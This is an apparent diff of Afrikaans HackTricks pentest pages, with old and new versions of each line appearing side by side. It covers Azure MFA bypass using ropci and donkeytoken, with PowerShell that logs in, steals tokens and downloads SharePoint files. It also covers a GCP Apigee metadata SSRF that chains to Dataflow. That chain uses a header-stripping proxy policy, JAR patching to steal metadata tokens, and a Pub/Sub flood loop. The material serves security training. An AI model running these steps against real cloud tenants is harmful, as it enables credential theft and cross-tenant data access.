Hierdie hulpmiddel het gehelp om MFA-omseilings te identifiseer en dan API's in verskeie produksie AAD-huurders te misbruik, waar AAD-klante geglo het dat hulle MFA afgedwing het, maar ROPC-gebaseerde verifikasie suksesvol was.
Hierdie hulpmiddel het gehelp om MFA-omseilings te identifiseer en daarna APIs in verskeie produksie AAD-tenants te misbruik, waar AAD-klnte geglo het dat MFA afgedwing was, maar ROPC-gebaseerde verifikasie geslaag het.
> [!TIP]
> Jy moet toestemming hê om al die toepassings te lys om die lys van die toepassings te genereer om te brute-force.
> Jy moet toestemming hê om al die toepassings te lys sodat jy die lys van apps kan genereer om te brute-force.
```bash
./ropci configure
./ropci apps list --all --format json -o apps.json
@@ -143,25 +143,25 @@ Hierdie hulpmiddel het gehelp om MFA-omseilings te identifiseer en dan API's in
```
### [donkeytoken](https://github.com/silverhack/donkeytoken)
Donkey token is 'n stel funksies wat daarop gemik is om sekuriteitskonsultante te help wat die Validiteit van Voorwaardelike Toegang Beleide moet toets, toetse vir 2FA-geaktiveerde Microsoft-portale, ens.
Donkey token is 'n stel funksies wat sekuriteitskonsultante help om Conditional Access Policies, toetse vir 2FA-enabled Microsoft portals, ens. te valideer.
<pre class="language-powershell"><code class="lang-powershell"><strong>git clone https://github.com/silverhack/donkeytoken.git
</strong><strong>Import-Module '.\donkeytoken' -Force
</strong></code></pre>
**Toets elke portaal** of dit moontlik is om **in te log sonder MFA**:
**Toets elke portaal** of dit moontlik is om **login sonder MFA**:
```bash
$username = "conditional-access-app-user@azure.training.hacktricks.xyz"
$username = "conditional-access-app-user@azure.hacktricks-training.com"
$password = ConvertTo-SecureString "Poehurgi78633" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential($username, $password)
Invoke-MFATest -credential $cred -Verbose -Debug -InformationAction Continue
```
Omdat die **Azure** **portaal** **nie beperk nie**, is dit moontlik om 'n **token van die portaal-eindpunt te versamel om toegang te verkry tot enige diens wat deur die vorige uitvoering opgespoor is**. In hierdie geval is Sharepoint geïdentifiseer, en 'n token om toegang daartoe te verkry, word aangevra:
Omdat die **Azure** **portal** **nie beperk is nie**, is dit moontlik om **'n token vanaf die portal endpoint te versamel om toegang te verkry tot enige diens wat deur die vorige uitvoering opgespoor is**. In hierdie geval is Sharepoint geïdentifiseer, en 'n token om toegang daartoe word aangevra:
```bash
$token = Get-DelegationTokenFromAzurePortal -credential $cred -token_type microsoft.graph -extension_type Microsoft_Intune
Read-JWTtoken -token $token.access_token
```
As jy aanvaar dat die token die toestemming Sites.Read.All (van Sharepoint) het, selfs al kan jy nie Sharepoint vanaf die web toegang nie weens MFA, is dit moontlik om die token te gebruik om toegang tot die lêers met die gegenereerde token te verkry:
Stel dat die token die toestemming Sites.Read.All (van Sharepoint) het selfs al kan jy nie Sharepoint via die web bereik weens MFA nie, is dit moontlik om die token te gebruik om toegang tot die lêers met die gegenereerde token te kry:
```bash
$data = Get-SharePointFilesFromGraph -authentication $token $data[0].downloadUrl
```

View File

@@ -0,0 +1,68 @@
# GCP - Apigee Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
## Apigee metadata SSRF -> Dataflow cross-tenant pivot
Een enkele Apigee tenant-projek kan misbruik word om die Message Processor metadata server te bereik, sy service account te steel, en te pivot na 'n gedeelde Dataflow analytics pipeline wat cross-tenant buckets lees/skryf.
### Maak die metadata server deur Apigee sigbaar
- Stel 'n Apigee proxy target in op `http://169.254.169.254` en versoek tokens vanaf `/computeMetadata/v1/instance/service-accounts/default/token` met `Metadata-Flavor: Google`.
- GCP metadata verwerp versoeke wat `X-Forwarded-For` bevat; Apigee voeg dit standaard by. Verwyder dit met `AssignMessage` voordat jy dit proxy:
```xml
<AssignMessage name="strip-xff">
<Remove>
<Headers>
<Header name="X-Forwarded-For"/>
</Headers>
</Remove>
<IgnoreUnresolvedVariables>true</IgnoreUnresolvedVariables>
</AssignMessage>
```
### Enumereer die gesteelde Apigee diensrekening
- Die leaked SA (Google-managed onder `gcp-sa-apigee`) kan met gereedskap soos [gcpwn](https://github.com/NetSPI/gcpwn) geënumerer word om vinnig toestemmings te toets.
- Waargeneem kragtige toestemmings het ingesluit **Compute disk/snapshot admin**, **GCS read/write across tenant buckets**, en **Pub/Sub topic publish**. Basiese ontdekking:
```bash
gcloud compute disks list --project <tenant-project>
```
### Snapshot exfiltration for opake bestuurde dienste
Met disk/snapshot regte kan jy bestuurde runtimes aflyn inspekteer selfs as jy nie in die tenant project kan aanmeld nie:
1. Skep 'n snapshot van 'n target disk in die tenant project.
2. Kopieer/migreer die snapshot na jou project.
3. Hercreëer 'n disk vanaf die snapshot en koppel dit aan jou VM.
4. Mount en inspekteer logs/configs om interne bucket name, service accounts, en pipeline opsies te herstel.
### Dataflow dependency replacement via skryfbare staging bucket
- Analytics workers het JARs vanaf 'n GCS staging bucket by opstart gehaal. Omdat die Apigee SA bucket write gehad het, laai die JAR af en patch dit (bv. met Recaf) om `http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token` aan te roep en die **Dataflow worker** token te steel.
- Dataflow workers het geen internet egress gehad nie; exfiltrate deur die token in 'n attacker-controlled GCS bucket te skryf met behulp van die in-cluster GCP APIs.
### Force malicious JAR execution by abusing autoscaling
Bestaande workers sal vervangde artifacts nie herlaai nie. Flood die pipeline input om nuwe workers te trigger:
```bash
for i in {1..5000}; do
gcloud pubsub topics publish apigee-analytics-notifications \
--message "flood-$i" --project <tenant-project>
done
```
Nuut voorsiene instansies haal die gepatchte JARs en leak die Dataflow SA token.
### Kruis-tenant bucket-ontwerpfout
Gedecompileerde Dataflow-kode het cache-paadjies getoon soos `revenue/edge/<api|mint>/tenant2TenantGroupCacheDir` onder 'n gedeelde metadata-bucket, sonder enige tenant-spesifieke komponent. Met die Dataflow token kan jy lees/skryf:
- `tenantToTenantGroup` caches wat ander tenants se projek- en omgewingname openbaar.
- `customFields` en `datastores` vouers wat per-versoek analytics bevat (insluitend eindgebruiker-IP's en platte-tekst toegangstokens) oor alle tenants.
- Skryftoegang impliseer potensiële analytics-manipulasie/vergiftiging.
## References
- [GatewayToHeaven: Finding a Cross-Tenant Vulnerability in GCP's Apigee](https://omeramiad.com/posts/gatewaytoheaven-gcp-cross-tenant-vulnerability/)
- [AssignMessage policy - header removal](https://cloud.google.com/apigee/docs/api-platform/reference/policies/assign-message-policy)
{{#include ../../../banners/hacktricks-training.md}}